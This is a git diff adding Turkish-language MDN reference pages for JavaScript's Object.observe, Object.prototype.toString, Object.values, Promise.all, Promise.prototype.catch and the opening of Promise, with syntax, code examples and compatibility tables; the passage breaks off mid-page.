+ +<h2 id="Söz_Dizimi">Söz Dizimi</h2> + +<pre><code>Object.observe(<var>obj</var>, <var>callback</var>[, <var>acceptList</var>])</code></pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>obj</code></dt> + <dd>İzlenecek Obje.</dd> + <dt>callback</dt> + <dd>Değişiklikler her gerçekleştiğinde çağırılacak fonksiyon. Aşağıdaki argümanlar ile çağırılır, + <dl> + <dt><code>changes</code></dt> + <dd>Her bir değişikliği temsilen bir objenin bulunduğu bir dizi döner. Objenin elemanları; + <ul> + <li><strong><code>name</code></strong>: Değişen elemanın adı.</li> + <li><strong><code>object</code></strong>: Objenin yeni hali.</li> + <li><strong><code>type</code></strong>: Metin türünde değişim. Bu metin <code>"add"</code>, <code>"update"</code>, ve <code>"delete" </code>olabilir<code>.</code></li> + <li><strong><code>oldValue</code></strong>: Eğer değiştirme ve ya silme işlemi gerçekleşti ise değişimden önceki değeri içerir.</li> + </ul> + </dd> + </dl> + </dd> + <dt><code>acceptList</code></dt> + <dd>The list of types of changes to be observed on the given object for the given callback. If omitted, the array <code>["add", "update", "delete", "reconfigure", "setPrototype", "preventExtensions"]</code> will be used.</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>callback</code> fonksiyonu objede gerçekleşen her değişimde çağırılır. Bir dizi içerisinde değişiklikleri içeren objeler bulunur.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Örnelk_6_farklı_tipi_kayıt_altına_alma">Örnelk: 6 farklı tipi kayıt altına alma</h3> + +<pre class="brush: js">var obj = { + foo: 0, + bar: 1 +}; + +Object.observe(obj, function(changes) { + console.log(changes); +}); + +obj.baz = 2; +// [{name: 'baz', object: <obj>, type: 'add'}] + +obj.foo = 'hello'; +// [{name: 'foo', object: <obj>, type: 'update', oldValue: 0}] + +delete obj.baz; +// [{name: 'baz', object: <obj>, type: 'delete', oldValue: 2}] + +Object.defineProperty(obj, 'foo', {writable: false}); +// [{name: 'foo', object: <obj>, type: 'reconfigure'}] + +Object.setPrototypeOf(obj, {}); +// [{name: '__proto__', object: <obj>, type: 'setPrototype', oldValue: <prototype>}] + +Object.seal(obj); +// [ +// {name: 'foo', object: <obj>, type: 'reconfigure'}, +// {name: 'bar', object: <obj>, type: 'reconfigure'}, +// {object: <obj>, type: 'preventExtensions'} +// ] +</pre> + +<h3 id="Örnek_Veri_bağlama">Örnek: Veri bağlama</h3> + +<pre class="brush: js">// bir kullanıcı sınıfı +var user = { + id: 0, + name: 'Brendan Eich', + title: 'Mr.' +}; + +// Kullanıcı için bir selemlama oluştur. +function updateGreeting() { + user.greeting = 'Merhaba, ' + user.title + ' ' + user.name + '!'; +} +updateGreeting(); + +Object.observe(user, function(changes) { + changes.forEach(function(change) { + // isim yada soyisim her değiştiğinde oluşturulan selamlayı düzenle. + if (change.name === 'name' || change.name === 'title') { + updateGreeting(); + } + }); +}); +</pre> + +<h3 id="Örnek_Özel_değişim_türü">Örnek: Özel değişim türü</h3> + +<pre class="brush: js">// 2 boyutlu düzlemde bir nokta +var point = {x: 0, y: 0, distance: 0}; + +function setPosition(pt, x, y) { + // özel bir değişim gerçekleştir. + Object.getNotifier(pt).performChange('reposition', function() { + var oldDistance = pt.distance; + pt.x = x; + pt.y = y; + pt.distance = Math.sqrt(x * x + y * y); + return {oldDistance: oldDistance}; + }); +} + +Object.observe(point, function(changes) { + console.log('Distance change: ' + (point.distance - changes[0].oldDistance)); +}, ['reposition']); + +setPosition(point, 3, 4); +// Mesafe değişimi: 5 +</pre> + +<h2 id="Specifications" name="Specifications">Özellikler</h2> + +<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal for ECMAScript 7</a>.</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Tarayıcılar Arası Uyumluluk</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel Destek</td> + <td>{{CompatChrome("36")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatOpera("23")}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel Destek</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome("36")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatOpera("23")}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Object.unobserve()")}} {{experimental_inline}}</li> + <li>{{jsxref("Array.observe()")}} {{experimental_inline}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/tostring/index.html b/files/tr/web/javascript/reference/global_objects/object/tostring/index.html new file mode 100644 index 0000000000..23593555e1 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/object/tostring/index.html @@ -0,0 +1,161 @@ +--- +title: Object.prototype.toString() +slug: Web/JavaScript/Reference/Global_Objects/Object/toString +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString +--- +<div>{{JSRef}}</div> + +<p><code><strong>toString() </strong>methodu verilen nesneyi String'e dönüştürür.</code></p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><code><var>obj</var>.toString()</code></pre> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Every object has a <code>toString()</code> method that is automatically called when the object is to be represented as a text value or when an object is referred to in a manner in which a string is expected. By default, the <code>toString()</code> method is inherited by every object descended from <code>Object</code>. If this method is not overridden in a custom object, <code>toString()</code> returns "[object <em>type</em>]", where <code><em>type</em></code> is the object type. The following code illustrates this:</p> + +<pre class="brush: js">var o = new Object(); +o.toString(); // returns [object Object] +</pre> + +<div class="note"> +<p><strong>Note:</strong> Starting in JavaScript 1.8.5 <code>toString()</code> called on {{jsxref("null")}} returns <code>[object <em>Null</em>]</code>, and {{jsxref("undefined")}} returns <code>[object <em>Undefined</em>]</code>, as defined in the 5th Edition of ECMAScript and a subsequent Errata. See {{anch("Using_toString_to_detect_object_type", "Using toString to detect object type")}}.</p> +</div> + +<h2 id="Examples">Examples</h2> + +<h3 id="Overriding_the_default_toString_method">Overriding the default <code>toString</code> method</h3> + +<p>You can create a function to be called in place of the default <code>toString()</code> method. The <code>toString()</code> method takes no arguments and should return a string. The <code>toString()</code> method you create can be any value you want, but it will be most useful if it carries information about the object.</p> + +<p>The following code defines the <code>Dog</code> object type and creates <code>theDog</code>, an object of type <code>Dog</code>:</p> + +<pre class="brush: js">function Dog(name, breed, color, sex) { + this.name = name; + this.breed = breed; + this.color = color; + this.sex = sex; +} + +theDog = new Dog('Gabby', 'Lab', 'chocolate', 'female'); +</pre> + +<p>If you call the <code>toString()</code> method on this custom object, it returns the default value inherited from {{jsxref("Object")}}:</p> + +<pre class="brush: js">theDog.toString(); // returns [object Object] +</pre> + +<p>The following code creates and assigns <code>dogToString()</code> to override the default <code>toString()</code> method. This function generates a string containing the name, breed, color, and sex of the object, in the form "<code>property = value;</code>".</p> + +<pre class="brush: js">Dog.prototype.toString = function dogToString() { + var ret = 'Dog ' + this.name + ' is a ' + this.sex + ' ' + this.color + ' ' + this.breed; + return ret; +} +</pre> + +<p>With the preceding code in place, any time <code>theDog</code> is used in a string context, JavaScript automatically calls the <code>dogToString()</code> function, which returns the following string:</p> + +<pre class="brush: js">"Dog Gabby is a female chocolate Lab" +</pre> + +<h3 id="Using_toString()_to_detect_object_class">Using <code>toString()</code> to detect object class</h3> + +<p><code>toString()</code> can be used with every object and allows you to get its class. To use the <code>Object.prototype.toString()</code> with every object, you need to call {{jsxref("Function.prototype.call()")}} or {{jsxref("Function.prototype.apply()")}} on it, passing the object you want to inspect as the first parameter called <code>thisArg</code>.</p> + +<pre class="brush: js">var toString = Object.prototype.toString; + +toString.call(new Date); // [object Date] +toString.call(new String); // [object String] +toString.call(Math); // [object Math] + +// Since JavaScript 1.8.5 +toString.call(undefined); // [object Undefined] +toString.call(null); // [object Null] +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.0.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2.4.2', 'Object.prototype.toString')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Call on {{jsxref("Global_Objects/null", "null")}} returns <code>[object <em>Null</em>]</code>, and {{jsxref("Global_Objects/undefined", "undefined")}} returns <code>[object <em>Undefined</em>]</code></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Object.prototype.toSource()")}}</li> + <li>{{jsxref("Object.prototype.valueOf()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/values/index.html b/files/tr/web/javascript/reference/global_objects/object/values/index.html new file mode 100644 index 0000000000..82ee284be2 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/object/values/index.html @@ -0,0 +1,96 @@ +--- +title: Object.values() +slug: Web/JavaScript/Reference/Global_Objects/Object/values +tags: + - Javascripts Metot Nesneler +translation_of: Web/JavaScript/Reference/Global_Objects/Object/values +--- +<div>{{JSRef}}</div> + +<p><code><strong>Object.values()</strong></code> yöntemi belirli bir nesnenin kendi numaralandırılabilir özellik değerlerinin {{jsxref("Statements/for...in", "for...in")}} döngüsü tarafından sağlanan sırayla dizileri döndürür (fark şu ki; bir for-in döngüsü prototip zincirindeki özelliklerle numaralandırılır).</p> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">Object.values(<var>obj</var>)</pre> + +<h3 id="Parametre">Parametre</h3> + +<dl> + <dd>Nesne, sayısız numaralandırılabilir kendi özellikleri döndürülendir.</dd> +</dl> + +<h3 id="Return_değeri">Return değeri</h3> + +<p>Diziler verilen nesnenin kendi numaralandırılabilir özellik değerlerini içerir.</p> + +<h2 id="Tanım">Tanım</h2> + +<p><code>Object.values()</code> Nesne, nesne üzerinde bulunan özellik değerleri numaralandırılabilir elemanları olan dizileri döndürür. Özelliklerin sıralaması nesnenin özellik değerleri üzerinde manul olarak döndürülenle aynıdır.</p> + +<p>Örnekler</p> + +<pre class="brush: js">var obj = { foo: 'bar', baz: 42 }; +console.log(Object.values(obj)); // ['bar', 42] + +// nesne gibi olan diziler +var obj = { 0: 'a', 1: 'b', 2: 'c' }; +console.log(Object.values(obj)); // ['a', 'b', 'c'] + +// nesneler gibi rast gele anahtar sıralamalı diziler +// numerik anahtarları kullandığımızda değerler, anahtarlara göre numerik sırayla döndürülür. +var an_obj = { 100: 'a', 2: 'b', 7: 'c' }; +console.log(Object.values(an_obj)); // ['b', 'c', 'a'] + +// getFoo bir sayılamayan özelliktir. +var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } }); +my_obj.foo = 'bar'; +console.log(Object.values(my_obj)); // ['bar'] + +// nesne olmayan değişken nesne olmaya zorlanır. +console.log(Object.values('foo')); // ['f', 'o', 'o'] +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>Uyumlu <code>Object.values</code> eklemek için doğal olarak desteklenmeyen daha eski ortamları destekler. Siz şu adreste " <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a> " veya "<a href="https://github.com/es-shims/Object.values">es-shims/Object.values</a> "repositorilerde bir polyfill bulabilirsiniz.</p> + +<h2 id="Specificatsupport_in_older_environments_that_do_not_natively_support_it_you_can_find_a_Polyfill_in_the_ions">Specificatsupport in older environments that do not natively support it, you can find a Polyfill in the ions</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Tanım</th> + <th scope="col">Konum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object.values', 'Object.values')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>Ilk tanım.</td> + </tr> + <tr> + <td>{{SpecName('ES8', '#sec-object.values', 'Object.values')}}</td> + <td>{{Spec2('ES8')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Object.values")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li> + <li>{{jsxref("Object.keys()")}}</li> + <li>{{jsxref("Object.entries()")}}</li> + <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li> + <li>{{jsxref("Object.create()")}}</li> + <li>{{jsxref("Object.getOwnPropertyNames()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/promise/all/index.html b/files/tr/web/javascript/reference/global_objects/promise/all/index.html new file mode 100644 index 0000000000..cc57749d77 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/promise/all/index.html @@ -0,0 +1,234 @@ +--- +title: Promise.all() +slug: Web/JavaScript/Reference/Global_Objects/Promise/all +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all +--- +<div>{{JSRef}}</div> + +<p>The <strong><code>Promise.all()</code></strong> method returns a single {{jsxref("Promise")}} that resolves when all of the promises passed as an iterable have resolved or when the iterable contains no promises. It rejects with the reason of the first promise that rejects.</p> + +<div>{{EmbedInteractiveExample("pages/js/promise-all.html")}}</div> + +<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p> + +<h2 id="Söz_dizimi">Söz dizimi</h2> + +<pre class="syntaxbox">Promise.all(<var>iterable</var>);</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>iterable</code></dt> + <dd>{{jsxref("Array")}} yada {{jsxref("String")}} gibi <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable</a> nesnesi.</dd> +</dl> + +<h3 id="Dönen_değer">Dönen değer</h3> + +<ul> + <li>An <strong>already resolved</strong> {{jsxref("Promise")}} if the <var>iterable</var> passed is empty.</li> + <li>An <strong>asynchronously resolved</strong> {{jsxref("Promise")}} if the <var>iterable</var> passed contains no promises. Note, Google Chrome 58 returns an <strong>already resolved</strong> promise in this case.</li> + <li>A <strong>pending</strong> {{jsxref("Promise")}} in all other cases. This returned promise is then resolved/rejected <strong>asynchronously</strong> (as soon as the stack is empty) when all the promises in the given <var>iterable</var> have resolved, or if any of the promises reject. See the example about "Asynchronicity or synchronicity of Promise.all" below. Returned values will be in order of the Promises passed, regardless of completion order.</li> +</ul> + +<h2 id="Açıklama">Açıklama</h2> + +<p>This method can be useful for aggregating the results of multiple promises.</p> + +<h3 id="Fulfillment">Fulfillment</h3> + +<p>The returned promise is fulfilled with an array containing <strong>all </strong>the values of the <var>iterable</var> passed as argument (also non-promise values).</p> + +<ul> + <li>If an empty <var>iterable</var> is passed, then this method returns (synchronously) an already resolved promise.</li> + <li>If all of the passed-in promises fulfill, or are not promises, the promise returned by <code>Promise.all</code> is fulfilled asynchronously.</li> +</ul> + +<h3 id="Rejection">Rejection</h3> + +<p>If any of the passed-in promises reject, <code>Promise.all</code> asynchronously rejects with the value of the promise that rejected, whether or not the other promises have resolved.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Promise.all_Kullanımı"><code>Promise.all</code> Kullanımı</h3> + +<p><code>Promise.all</code> tüm işlemler yerine getirilene kadar bekler (yada ilk reddedilmeye kadar).</p> + +<pre class="brush: js">var p1 = Promise.resolve(3); +var p2 = 1337; +var p3 = new Promise((resolve, reject) => { + setTimeout(() => { + resolve("foo"); + }, 100); +}); + +Promise.all([p1, p2, p3]).then(values => { + console.log(values); // [3, 1337, "foo"] +});</pre> + +<p>If the <var>iterable</var> contains non-promise values, they will be ignored, but still counted in the returned promise array value (if the promise is fulfilled):</p> + +<pre class="brush: js">// this will be counted as if the iterable passed is empty, so it gets fulfilled +var p = Promise.all([1,2,3]); +// this will be counted as if the iterable passed contains only the resolved promise with value "444", so it gets fulfilled +var p2 = Promise.all([1,2,3, Promise.resolve(444)]); +// this will be counted as if the iterable passed contains only the rejected promise with value "555", so it gets rejected +var p3 = Promise.all([1,2,3, Promise.reject(555)]); + +// using setTimeout we can execute code after the stack is empty +setTimeout(function() { + console.log(p); + console.log(p2); + console.log(p3); +}); + +// logs +// Promise { <state>: "fulfilled", <value>: Array[3] } +// Promise { <state>: "fulfilled", <value>: Array[4] } +// Promise { <state>: "rejected", <reason>: 555 }</pre> + +<h3 id="Asynchronicity_or_synchronicity_of_Promise.all">Asynchronicity or synchronicity of <code>Promise.all</code></h3> + +<p>This following example demonstrates the asynchronicity (or synchronicity, if the <var>iterable</var> passed is empty) of <code>Promise.all</code>:</p> + +<pre class="brush: js">// we are passing as argument an array of promises that are already resolved, +// to trigger Promise.all as soon as possible +var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)]; + +var p = Promise.all(resolvedPromisesArray); +// immediately logging the value of p +console.log(p); + +// using setTimeout we can execute code after the stack is empty +setTimeout(function() { + console.log('the stack is now empty'); + console.log(p); +}); + +// logs, in order: +// Promise { <state>: "pending" } +// the stack is now empty +// Promise { <state>: "fulfilled", <value>: Array[2] } +</pre> + +<p>The same thing happens if <code>Promise.all</code> rejects:</p> + +<pre class="brush: js">var mixedPromisesArray = [Promise.resolve(33), Promise.reject(44)]; +var p = Promise.all(mixedPromisesArray); +console.log(p); +setTimeout(function() { + console.log('the stack is now empty'); + console.log(p); +}); + +// logs +// Promise { <state>: "pending" } +// the stack is now empty +// Promise { <state>: "rejected", <reason>: 44 } +</pre> + +<p>But, <code>Promise.all</code> resolves synchronously <strong>if and only if</strong> the <var>iterable</var> passed is empty:</p> + +<pre class="brush: js">var p = Promise.all([]); // will be immediately resolved +var p2 = Promise.all([1337, "hi"]); // non-promise values will be ignored, but the evaluation will be done asynchronously +console.log(p); +console.log(p2) +setTimeout(function() { + console.log('the stack is now empty'); + console.log(p2); +}); + +// logs +// Promise { <state>: "fulfilled", <value>: Array[0] } +// Promise { <state>: "pending" } +// the stack is now empty +// Promise { <state>: "fulfilled", <value>: Array[2] } +</pre> + +<h3 id="Promise.all_fail-fast_behaviour"><code>Promise.all</code> fail-fast behaviour</h3> + +<p><code>Promise.all</code> is rejected if any of the elements are rejected. For example, if you pass in four promises that resolve after a timeout and one promise that rejects immediately, then <code>Promise.all</code> will reject immediately.</p> + +<pre class="brush: js">var p1 = new Promise((resolve, reject) => { + setTimeout(() => resolve('one'), 1000); +}); +var p2 = new Promise((resolve, reject) => { + setTimeout(() => resolve('two'), 2000); +}); +var p3 = new Promise((resolve, reject) => { + setTimeout(() => resolve('three'), 3000); +}); +var p4 = new Promise((resolve, reject) => { + setTimeout(() => resolve('four'), 4000); +}); +var p5 = new Promise((resolve, reject) => { + reject(new Error('reject')); +}); + + +// Using .catch: +Promise.all([p1, p2, p3, p4, p5]) +.then(values => { + console.log(values); +}) +.catch(error => { + console.log(error.message) +}); + +//From console: +//"reject" + +</pre> + +<p>It is possible to change this behaviour by handling possible rejections:</p> + +<pre class="brush: js">var p1 = new Promise((resolve, reject) => { + setTimeout(() => resolve('p1_delayed_resolvement'), 1000); +}); + +var p2 = new Promise((resolve, reject) => { + reject(new Error('p2_immediate_rejection')); +}); + +Promise.all([ + p1.catch(error => { return error }), + p2.catch(error => { return error }), +]).then(values => { + console.log(values[0]) // "p1_delayed_resolvement" + console.log(values[1]) // "Error: p2_immediate_rejection" +}) +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-promise.all', 'Promise.all')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition in an ECMA standard.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p> + +<p>{{Compat("javascript.builtins.Promise.all")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Promise")}}</li> + <li>{{jsxref("Promise.race()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/promise/catch/index.html b/files/tr/web/javascript/reference/global_objects/promise/catch/index.html new file mode 100644 index 0000000000..3360f87fbb --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/promise/catch/index.html @@ -0,0 +1,201 @@ +--- +title: Promise.prototype.catch() +slug: Web/JavaScript/Reference/Global_Objects/Promise/catch +tags: + - JavaScript + - Promise + - Prototype + - fonksiyon + - metod +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch +--- +<div>{{JSRef}}</div> + +<p>The <strong>catch()</strong> method returns a <code>Promise</code> and deals with rejected cases only. It behaves the same as calling {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}} (in fact, calling <code>obj.catch(onRejected)</code> internally calls <code>obj.then(undefined, onRejected)</code>). This means, that you have to provide <code>onRejected</code> function even if you want to fallback to <code>undefined</code> result value - for example <code>obj.catch(() => {})</code>.</p> + +<div>{{EmbedInteractiveExample("pages/js/promise-catch.html")}}</div> + + + +<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p> + +<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox"><var>p.catch(onRejected)</var>; + +p.catch(function(reason) { + // rejection +}); +</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt>onRejected</dt> + <dd>A {{jsxref("Function")}} called when the <code>Promise</code> is rejected. This function has one argument: + <dl> + <dt><code>reason</code></dt> + <dd>The rejection reason.</dd> + </dl> + The Promise returned by <code>catch()</code> is rejected if <code>onRejected</code> throws an error or returns a Promise which is itself rejected; otherwise, it is resolved.</dd> +</dl> + +<h3 id="Dönen_değer">Dönen değer</h3> + +<p>Internally calls <code>Promise.prototype.then</code> on the object upon which is called, passing the parameters <code>undefined</code> and the <code>onRejected</code> handler received; then returns the value of that call (which is a {{jsxref("Promise")}}).</p> + +<div class="warning"> +<p>Note the examples below are throwing instances of <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error">Error</a>. This is considered good practice in contrast to throwing Strings: Otherwise the part doing the catching would have to make checks to see if the argument was a string or an error, and you might lose valuable information like stack traces.</p> +</div> + +<p><strong>Demonstration of the internal call:</strong></p> + +<pre class="brush: js">// overriding original Promise.prototype.then/catch just to add some logs +(function(Promise){ + var originalThen = Promise.prototype.then; + var originalCatch = Promise.prototype.catch; + + Promise.prototype.then = function(){ + console.log('> > > > > > called .then on %o with arguments: %o', this, arguments); + return originalThen.apply(this, arguments); + }; + Promise.prototype.catch = function(){ + console.log('> > > > > > called .catch on %o with arguments: %o', this, arguments); + return originalCatch.apply(this, arguments); + }; + +})(this.Promise); + + + +// calling catch on an already resolved promise +Promise.resolve().catch(function XXX(){}); + +// logs: +// > > > > > > called .catch on Promise{} with arguments: Arguments{1} [0: function XXX()] +// > > > > > > called .then on Promise{} with arguments: Arguments{2} [0: undefined, 1: function XXX()] +</pre> + +<h2 id="Açıklama">Açıklama</h2> + +<p>The <code>catch</code> method can be useful for error handling in your promise composition.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Using_and_chaining_the_catch_method">Using and chaining the <code>catch</code> method</h3> + +<pre class="brush: js">var p1 = new Promise(function(resolve, reject) { + resolve('Success'); +}); + +p1.then(function(value) { + console.log(value); // "Success!" + throw new Error('oh, no!'); +}).catch(function(e) { + console.log(e.message); // "oh, no!" +}).then(function(){ + console.log('after a catch the chain is restored'); +}, function () { + console.log('Not fired due to the catch'); +}); + +// The following behaves the same as above +p1.then(function(value) { + console.log(value); // "Success!" + return Promise.reject('oh, no!'); +}).catch(function(e) { + console.log(e); // "oh, no!" +}).then(function(){ + console.log('after a catch the chain is restored'); +}, function () { + console.log('Not fired due to the catch'); +}); +</pre> + +<h3 id="Gotchas_when_throwing_errors">Gotchas when throwing errors</h3> + +<pre class="brush: js">// Throwing an error will call the catch method most of the time +var p1 = new Promise(function(resolve, reject) { + throw new Error('Uh-oh!'); +}); + +p1.catch(function(e) { + console.log(e); // "Uh-oh!" +}); + +// Errors thrown inside asynchronous functions will act like uncaught errors +var p2 = new Promise(function(resolve, reject) { + setTimeout(function() { + throw new Error('Uncaught Exception!'); + }, 1000); +}); + +p2.catch(function(e) { + console.log(e); // This is never called +}); + +// Errors thrown after resolve is called will be silenced +var p3 = new Promise(function(resolve, reject) { + resolve(); + throw new Error('Silenced Exception!'); +}); + +p3.catch(function(e) { + console.log(e); // This is never called +});</pre> + +<h3 id="If_it_is_resolved">If it is resolved</h3> + +<pre class="brush: js">//Create a promise which would not call onReject +var p1 = Promise.resolve("calling next"); + +var p2 = p1.catch(function (reason) { + //This is never called + console.log("catch p1!"); + console.log(reason); +}); + +p2.then(function (value) { + console.log("next promise's onFulfilled"); /* next promise's onFulfilled */ + console.log(value); /* calling next */ +}, function (reason) { + console.log("next promise's onRejected"); + console.log(reason); +});</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition in an ECMA standard.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p> + +<p>{{Compat("javascript.builtins.Promise.catch")}}</p> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Promise")}}</li> + <li>{{jsxref("Promise.prototype.then()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/promise/index.html b/files/tr/web/javascript/reference/global_objects/promise/index.html new file mode 100644 index 0000000000..90f9dcabc0 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/promise/index.html @@ -0,0 +1,317 @@ +--- +title: Promise +slug: Web/JavaScript/Reference/Global_Objects/Promise +tags: + - JavaScript + - Promise + - Referans +translation_of: Web/JavaScript/Reference/Global_Objects/Promise +--- +<div>{{JSRef}}</div> + +<div><code><strong>Promise</strong></code> nesnesi eşzamansız olan ve ertelenen işlemlerde kullanılır. Bir <code><strong>Promise</strong></code> nesnesi henüz işlemin tamamlamadığını ama sonradan tamamlanabileceğini gösterir.</div> + +<div></div> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">new Promise(function(resolve, reject) { ... });</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt>executor</dt> + <dd><code>resolve </code>ve <code>reject </code>içeren iki parametreli bir fonksiyon nesnesidir. İlk 